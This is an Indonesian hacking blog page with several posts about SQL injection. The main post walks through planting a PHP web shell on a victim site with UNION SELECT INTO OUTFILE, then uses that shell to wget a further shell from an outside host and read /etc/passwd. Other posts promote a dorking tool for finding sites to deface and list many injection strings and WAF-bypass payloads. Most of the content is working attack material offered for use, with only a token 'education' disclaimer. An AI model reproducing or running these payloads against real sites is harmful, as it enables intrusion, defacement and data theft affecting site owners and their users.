HEADLINE NEWS

Tutorial Mudah SQL Injection Into Outfile

By On 6:32:00 PM


Halo, Apa kabar? Nah, jadi pada artikel kali ini saya ingin membahas tentang Tutorial SQL Injection Into Outfile, gimana penasaran?

Tutorial sql injection into outfile

Disclaimer: Oke, tulisan ini hanya didasarkan pada pengalaman saya yang mungkin tidak sama dengan pengalaman orang lain dan perbedaan dalam pandangan/pendapat itu ada, mohon untuk dimaklumi. Selebihnya hanya untuk edukasi.

Oh iya, Kalian masih tahu bagaimana cara melakukan injeksi manual pada website yang vulnerability/rentan terhadap serangan SQL Injection? Kalo tidak tahu atau baru belajar mungkin bisa baca artikel tentang SQL Injection Manual dulu ya.

Disini saya asumsikan dari teman-teman setidaknya mengerti basic sql injection, sehingga saya bisa langsung skip ke bagian injeksi setelah menemukan angka ajaib atau magic number, disini kebetulan target yang saya eksekusi angka ajaibnya nomor 2 yang muncul.

Mencari Target:

Kalo soal target saya tidak mempublish yang aslinya, disini target saya (contoh) victim.com kemudian saya mencari point injeksinya dengan menggunakan dork "site:victim.com id=" dan setelah ketemu vulnya url jadi seperti ini https://victim.com/article.php?id=24

#1. Mengecek Hak Akses ke Target

Disini saya biasanya melihat user database yang digunakan terlebih dahulu.

https://victim.com/article.php?id=-24+union+select+1,user(),3,4,5--

Sqli into outfile cek user

Muncul user root@namaweb kita bisa konfirmasi sekali lagi dengan menggunakan query untuk mengecek file_priv

https://target.com/article.php?id=-24+union+select+1,group_concat(user,0x3a,file_priv),3,4,5+from+mysql.user--

Sql injection into outfile cek user root

Bisa juga untuk mengecek user privilege dengan dios berikut ini:

https://victim.com/article.php?id=-24+union+select+1,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3,4,5--

Cek user privilege site target

#2. Cara Eksekusi Sql Incetion Into Outfile

Berikut ini cara untuk eksekusi into outfile, jadi kita harus tau path dimana website target tersebut berada. Kita bisa memanfaatkan dari error yang ditampilkan.

Sql imjection error into outfile
Dicontoh saya ini, terlihat path errornya ada di F\:ContentSite\latestArticle.php nah jadi dari situ saya tahu pathnya.

<?php system($_GET[cmd]);?> 
Ini script untuk mengeksekusi command dari server dan jangan lupa diconvert ke Hexa dulu lalu tambahkan 0x diawal jadi seperti ini 0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e

Bagaimana kalo menggunakan script yang lain? Bisa juga, dengan menggunakan script uploader yang sudah convert ke hexa ini, atau mungkin bisa dengan script yang kalian miliki.

Download uploader ini https://pastebin.com/raw/9H5iZUGx

Into outfile F:\ContentSite\xxx.php ini adalah perintah untuk menanam script tadi dengan nama file xxx.php di direktori homenya yaitu ContentSite.

Jadi query into outfilenya lengkapnya seperti ini:

https://victim.com/article.php?id=-24+union+select+1,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e,3,4,5+into+outfile+'F:/ContentSite/xxx.php'--

Setelah kalian eksekusi, ternyata kok tampilan muncul error? Itu sebenernya tidak menjadi masalah. Sekarang kita langsung akses path shellnya aja.

https://victim.com/xxx.php

Cara eksekusi shell seperti ini:

Ketikan saja seperti ini

https://victim.com/xxx.php?cmd=(perintah)
View source into outfile

Berikut ini cara upload shell into outfile dengan perintah wget, tapi shellnya harus berformat txt ya.

https://victim.com/xxx.php?cmd=wget https://urlshell.com/minishell.txt

Lalu kalian rename minishell.txt menjadi format minishell.php

https://victim.com/xxx.php?cmd=mv minishell.txt minishell.php

Untuk mengakses shell urlnya seperti berikut ini.

https://victim.com/minishell.php

Jadi sampai sini kalian sudah berhasil mengupload shell dengan menggunakan query into outfile. Langkah ini sebenarnya lebih praktis daripada kita harus dump user/pass kemudian kita harus melakukan craking/hash password ataupun username, dan juga pernah susah banget mencari admin login website tersebut yang kadang ketemu kadang tidak.

#3. Mengeksekusi Load File

Jadi selain untuk menambahkan file ke website target, SQL Injection bisa juga digunakan untuk melihat isi dari file yang ada diwebsite tersebut. Sebenarnya langkah ini tidak diperlukan lagi ketika sudah berhasil melakukan upload shell ke website target, tapai gakpapalah ya sekedar menambah refrensi aja.

Memeriksa isi file /etc/passwd

https://victim.com/article.php?id=-24+union+select+1,load_file('/etc/passwd'),3,4,5--

Mengecek isi load file /etc/passwd
Disini tampilan hanya error, kali ini gagal saat mau mencoba melihat isi /etc/passwd

Kemudian saya coba melanjutkan memeriksa file config database, tapi disini gagal website target yang saya eksekusi tidak menampilkan apa-apa hanya tampilan error, ya mau gimana lagi? Gakpapa kan udah bisa upload shell hehe.

Bagaimana menurutmu? Gampangkan? Sekian pembahasan tentang Tutorial SQL Injection Into Outfile semoga bermanfaat dan menambah suatu pengetahuan buat kalian.

Dari saya jika ada kekurangan mohon maaf ya nanti saya update. Jika kalian ingin berbagi informasi dengan pengunjung yang lain silahkan tuliskan dikolom komentar dibawah, terimakasih.

ScanQLi - Simple SQL Injection Scanner To Detect SQL Vulns

By On 1:05:00 AM


Hallo, Selamat menjalankan ibadah puasa bagi yang menjalankanya hehe.
Oke teman-teman kali ini saya akan memberikan tutorial bagaimana cara install tools ScanQLi.

Apa itu ScanQLi? Tools yang dibuat dengan bahasa pemrograman Python ini berguna untuk memindai injeksi SQL sederhana dengan beberapa fitur tambahan. Tools ini tidak dapat mengeksploitasi SQL, hanya bisa dapat mendeteksi vulnerability SQL saja.

Kalian bisa lihat beberapa features ScanQLi berikut ini.
  • Classic
  • Blind
  • Time Based
  • GBK (soon)
  • Recursive scan (follow all hrefs of the scanned web site)
  • Cookies Injection
  • Adjustable wait delay between requests
  • Ignore given URLs

Tools ScanQLi ini bisa dijalankan pada Python versi 2 atau versi 3. Tapi keknya recomended dijalan pada Python versi 3 lebih enakan gitulah.

Oke berikut ini tutor bagaimana cara install tools ScanQLi, yuk simak.

Untuk install Python versi 2,
$ git clone https://github.com/bambish/ScanQLi
$ cd ScanQLi
$ pip2 install -r requirements.tx

Untuk install Python  versi 3,
$ git clone https://github.com/bambish/ScanQLi
$ cd ScanQLi
$ pip3 install -r requirements.txt

Sebenernya perintah untuk install di Python 2/3 hampir sama, cuma yang membedakanya pada bagian pip doang, oh iya untuk Python versi 3 bisa dengan perintah pip saja bisa kok gak harus pake angka 3 gakpapa bebas.

Oke jika dirasa sudah bisa atau sudah rampung install nya, selanjutnya saya akan kasih lihat cara menggunakanya,

$ python scanqli.py -u [URL] [OPTIONS]

Scan website untuk mendeteksi vulnerability SQL Injection, perintahnya seperti ini.

$ python scanqli.py -u 'http://maqlo-heker.blogspot.com/contoh.php?id=1' -o output.log

Pemindaian URL rekursif scann dengan cookie.

$ python scanqli.py -u 'http://maqlo-heker.blogspot.com/contoh.php?id=1' -r -c '{"PHPSESSID":"4bn7uro8qq62ol4o667bejbqo3" , "Session":"Mzo6YWMwZGRmOWU2NWQ1N2I2YTU2YjI0NTMzODZjZDVkYjU="}'

Nah kalian bisa juga bisa ketikan perintah help untuk lebih tau detailnya, caranya seperti ini.

$ python scanqli.py --help

Gimana dengan tools ScanQLi ini, simple kan.
Oke sekian artikel pada kali ini gunakan dengan baik misalnya buat bug bounty dll. Sekiranya ada yang kurang dimengerti kata katanya mohon maaf ya. Terimakasih sudah berkunjung diblogg saya yang cupu ini hehe.

Bing Dorker Sql Injection - Python

By On 8:06:00 PM


Hallo,
Pada kesempatan kali ini gw mau sharing tool Bing Dorker Sql Injection menggunakan Python. Ini tool cocok bagi yang sering deface dengan poc sql injection hehe.

Ok tak usah berlama-lama, kita langsung ke step tutorial cara menggunakanya.

Yang pertama, download dulu scriptnya. Link download ada dibawah.
Terus setelah itu, kalian buka terminal cari dimana letak script tadi disimpan.
Selanjutnya ketikan perintah seperti ini,

$ python sqli_scanner.py -d shopping.php?id= -s 10 -r result.txt

Habis itu kalian tekan enter dan tinggal nungu aja.
Gw akan jelasin apa command diatas,
-d itu maksudnya adalah dork.
-s ini maksudnya adalah berapa page yang mau disearch, dicontoh itu gw kasih 10 aja
-r nah kalo yang ini maksudnya untuk menyimpan hasil scannya

Download bing dorker sql injection,
Link: http://upfile.mobi/MYpeOH0GnXP
Password: psx7

Ok cuma itu aja, apabila link rusak lapor dikomentar nanti gw akan update.
Sekian dan terimakasih semoga bermanfaat.

Install viSQL Scan Vulnerability di Termux

By On 8:57:00 AM


Oke pada kesempatan kali ini gw mau berbagi tutorial Install viSQL Scan Vulnerability di Termux.

Apa itu viSQL? 

viSQL adalah suatu tools untuk meng-exploitasi yang rentan terhadap suatu pengujian website atau bisa disebut suatu scanner SQL vulnerability pada suatu situs target dan situs diserver yaitu viSQL.
Dan untuk tools viSQL ini dibuat dari bahasa pemrograman python.

Nah, selanjutnya kita simak cara untuk installnya.

Pertama, lakukan update dan upgrade biar tidak ketingalan pembaharuan dari termux,

$ apt-get update && upgrade

Selanjutnya install git dan install python2 dengan perintah sebagai berikut ini,

$ apt-get install git
$ apt-get install python2

Tunggu hinga proses install git dan python2 sampai selesai.
Selanjutnya kita clonning script viSQL digithub dengan perintah seperti berikut,

$ git clone https://github.com/blackvkng/viSQL

Tunggu proses installasinya selesai, setelah itu kita pindah kedirectory viSQL

$ cd viSQL

Lakukan chmod terlebih dahulu dengan mengetikan perintah seperti ini,

$ chmod 777 viSQL.py

Yang terakhir, untuk menjalankannya kalian bisa melihat pada bagian help dengan mengetikan perintah seperti berikut ini,

$ python2 viSQL.py -h

Sekian tutorial dari gw, semoga bermanfaat.

Cara Bypass Sql Injection Illegal Mix of Collations

By On 7:31:00 AM


Oke pada kesempatan kali ini gw mau share tutorial Cara Bypass Sql Injection Illegal Mix of Collations.

Yosh, mari kita mulai saja.
Target http://www.site.com/news.php?id=5 (anggap aja itu target kalian)

Seperti biasa, yang pertama cari berapa jumlah columnnya menggunakan perintah order+by+--
Contoh disini gw mendapatkan pesan error diangka 5,

http://www.site.com/news.php?id=13+order+by+5-- pesan error!
Berarti jumlah columnya ada 4.

Selanjutnya kita melakukan pertintah union+select+1,2,3-- dan seterusnya, tergantung kalian saat melakukan perintah order+by+1-- sampai mendapatkan pesan error pass diangka keberapa.

Contoh http://www.site.com/news.php?id=-13+union+select+1,2,3,4-- dan disini gw mendapatkan angka 1 dan 3.

Sekarang saatnya mencoba mendapatkan table dan untuk perintahnya seperti ini,

http://www.site.com/news.php?id=-13+union+select+1,2,concat(table_name),4+from+information_schema.tables+where+table_schema=database()--
Dan disini gw mendapatkan pesan error seperti ini " illegal mix of collations for operation 'UNION' " kok bisa ya? gatau :v mari kita bypass.

Berikut methode yang bisa digunakan untu bypass illegal mix of collations

1. Menggunakan UNCOMPRESS 
Contoh query seperti ini http://www.site.com/news.php?id=-+union+select+1,2,uncompress(compress(concat(table_name))),4+from+information_schema.tables+where+table_schema=database()--
Bypassed!!!

2. Menggunakan UNHEX
Contoh query seperti ini
http://www.site.com/news.php?id=-+union+select+1,2,unhex(hex(concat(table_name))),4+from+information_schema.tables+where+table_schema=database()--
Bypassed!!!

3. Menggunakan CAST()
Contoh query seperti ini
http://www.site.com/news.php?id=-+union+select+1,2,cast(table_name as binary),4+from+information_schema.tables+where+table_schema=database()--
Bypassed!!!

4. Menggunakan CONVERT()
Contoh query seperti ini
http://www.site.com/news.php?id=-+union+select+1,2,convert(table_name menggunakan ascii),4+from+information_schema.tables+where+table_schema=database()--
Bypassed!!!

Dan berikut ini beberapa advance metode untuk convert()
Dalam convert() fungsi jika ascii tidak berfungsi maka kita dapat menggunakan sebagai ascii,

1. ujis
2. ucs2
3. tis620
4. swe7
5. sjis
6. macroman
7. macce
8. latin7
9. latin5
10. latin2
11. koi8u
12. koi8r
13. keybcs2
14. hp8
15. geostd8
16. gbk
17. gb2132
18. armscii8
19. ascii
20. cp1250
21. big5
22. cp1251
23. cp1256
24. cp1257
25. cp850
26. cp852
27. cp866
28. cp932
29. dec8
30. euckr
31. latin1

Nah itu dia cara bypass sql injection illegall mix of collations. Sekian dari gw semoga bermanfaat.

Thanks to Author: Rai Muzammal Hussain a.k.a RAi Je

Fix SQL Injection Query (Collection)

By On 12:03:00 AM

Kali ini gw mau sharing artikel tentang Fix SQL Injection Query.

Berikut collection querynya sebagai berikut ini,

Comment Name
-- : MySQL Linux Style
--+ : MySQL Windows Style
# : Hash (URL encode while use)
--+- : SQL Comment
; : Null Byte
` : Backtick

Variable/Function Output
@@hostname : Current Hostname
@@tmpdir : Tept Directory
@@datadir : Data Directory
@@version : Version of DB
@@basedir : Base Directory
user() : Current User
database() : Current Database
version() : Version
schema() : current Database
UUID() : System UUID key
current_user() : Current User
current_user : Current User
system_user() : Current Sustem user
session_user() : Session user
@@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
@@GLOBAL.have_ssl : Check if it have ssl or n

integer based
--
-- -
--+-
)--
)-- -
)--+-
))--
))-- -
))--+-
;
) ;
));
%23
%60
%90
and 1=1
and '1'='1
and (1)=(1
php?id=(1) -- -

string based
'--+-
')-- -
')--+-
'))-- -
'))--+-
';
');
'));
'%23
'%60
'%90
' and 1=1
' and '1'='1
' and (1)=(1
php?id=(1') -- -

string based double quotes
"-- -
"--+-
"%23
")-- -
")--+-
"))--+-
";
") ;
"));
"%60
"%90
" and 1=1
" and '1'='1
" and (1)=(1
php?id=(1") -- -

Sekian dari gw, semoga bermanfaat.

Macam-Macam Bypass WAF - SQL Injection

By On 11:22:00 PM

Pada postingan kali ini w mau sharing artikel tentang Maca-macam Bypass WAF pada suatu Sql Injection.

Dalam dunia injector kita tidak asing lagi dengan istilah WAF. Apaan sih WAF itu?
WAF adalah kepanjangan dari (Web Application Firewall) dimana waf itu dipasang sebagai firewall security web untuk keamanan umum.

Jadi rata-rata web yang udah di pasang waf itu kebal sama SQL Injection yang basic atau sql injection dengan statement error ( ' ) atau ( /** )

Untuk itu gw akan sedikit berbagi tentang jenis-jenis waf yang biasa di gunakan dalam dunia injector.

Dan berikut ini macam-macam bypass waf,

order by
/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/

union select
/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?<ion sel="">+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+

information_schema.tables
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

concat()
CoNcAt()
concat()
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))

group_concat()
/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)
CONVERT(group_concat(table_name)+USING+latin2)
CONVERT(group_concat(table_name)+USING+latin3)
CONVERT(group_concat(table_name)+USING+latin4)
CONVERT(group_concat(table_name)+USING+latin5)

Duhh ternyata banyak juga ya,
gausah dihafalin semua nanti malah bikin pusing kepala hehe.
Oke cukup sekian artikel kali ini, semoga bermanfaat.

Contact Form

Name

Email *

Message *